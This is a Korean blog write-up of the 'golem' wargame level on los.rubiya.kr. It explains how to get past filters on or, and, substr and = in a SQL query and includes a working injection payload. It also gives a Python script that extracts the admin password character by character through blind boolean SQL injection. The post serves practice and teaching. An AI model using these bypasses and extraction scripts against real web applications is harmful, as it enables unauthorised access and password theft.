DoR@Hee의 끄적끄적

los - golem 본문

WarGame/los(los.rubiya.kr)

los - golem

DoR@Hee 2019. 3. 22. 10:11


1. or , and, substr,= 을 필터링 하고 있다. 

1-1 or 은 &&를 이용 필터링을 우회

1-2 and 는 ||를 이용 필터링 우회

1-3 substr은 문자열 비교 함수인 left, right함수를 이용 필터링

1-4 = 는 like를 이용하여 필터링한다.


※여기서 

right, left 함수는 문자열을 반환하는 함수인대

ex) left('abced',2) = ab

right('abced',2 = ed

이렇게 반환한다.


like 함수는 

특정 문자열을 찾는대 사용하는 함수이며

select * from prob_golem where id = 'admin' 와

select * from prob_golem where id like 'admin' 은 같은 구문이다.


즉 이렇게 해서 문제를 풀면된다.



쿼리를 참으로 만들기위해 

'pw || id like 'admin'--를 입력해서 Hello admin문자열을 출력 할 수 있었고




admin pw의 길이를 알아내기 위해서 length(pw)를 이용 pw의 길이를 알아낸다.





길이를 알아낸 후 && ascii(right(left(pw,1),1)) like 55(7) 를 입력 참인걸 확인 한 후 




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
 
cookies = {'PHPSESSID''g9kigs66hol59j7negjphn4hc2'}
 
for lengths in range(130):
    length = 0
    url1 = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
    url = url1 + "?pw=1%27%20||%20id%20like%20%27admin%27%20%20%26%26%20length(pw)%20like%20{0}--%20".format(lengths)
    res = requests.get(url, cookies=cookies)
    if "<h2>Hello admin</h2>" in res.text:
        print("=====================================")
        print("길이는{0}".format(lengths))
        print("=====================================\n")
        length = lengths
        break
    else:
        continue
 
for i in range(1, length + 1):
    for j in range(33127):
        result = []
        url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=1%27%20||%20id%20like%20%27admin%27%20%20%26%26%20ascii(right(left(pw,{0}),1))%20like%20{1}--%20".format(i, j)
        res = requests.get(url, cookies=cookies)
        if "<h2>Hello admin</h2>" in res.text:
            print("{0}".format(chr(j)), end='')
            result.append(chr(j))
            break
 
cs


파이썬 코드 작성






성공



-추가-

left , right 함수 사용법



위 쿼리문은 

왼쪽에 있는 첫번째 문자열이 m이 맞니? 라고 묻는 쿼리 문이다

만약 참일 경우는 1을 반환하고



거짓인 경우는 0을 반환한다.




위 쿼리문 같이 자리수 와 문자열을 비교 할 수 도 있다.


맞을 경우는 참을 반환한다.


만약 left, right을 단독으로 쓸 경우 자리수를 맞출 순 없기 때문에 쿼리문을 우회 할 땐 같이 쓰는게 좋을거같다.



거짓일 경우 0




위 와 같이 쿼리문을 작성해서 사용 할 수 도 있다


'WarGame > los(los.rubiya.kr)' 카테고리의 다른 글

los - bugbear  (0) 2019.03.26
los - darkknight  (0) 2019.03.25
los - skeleton  (0) 2019.03.21
los - vampire  (0) 2019.03.21
los - troll  (0) 2019.03.20
Comments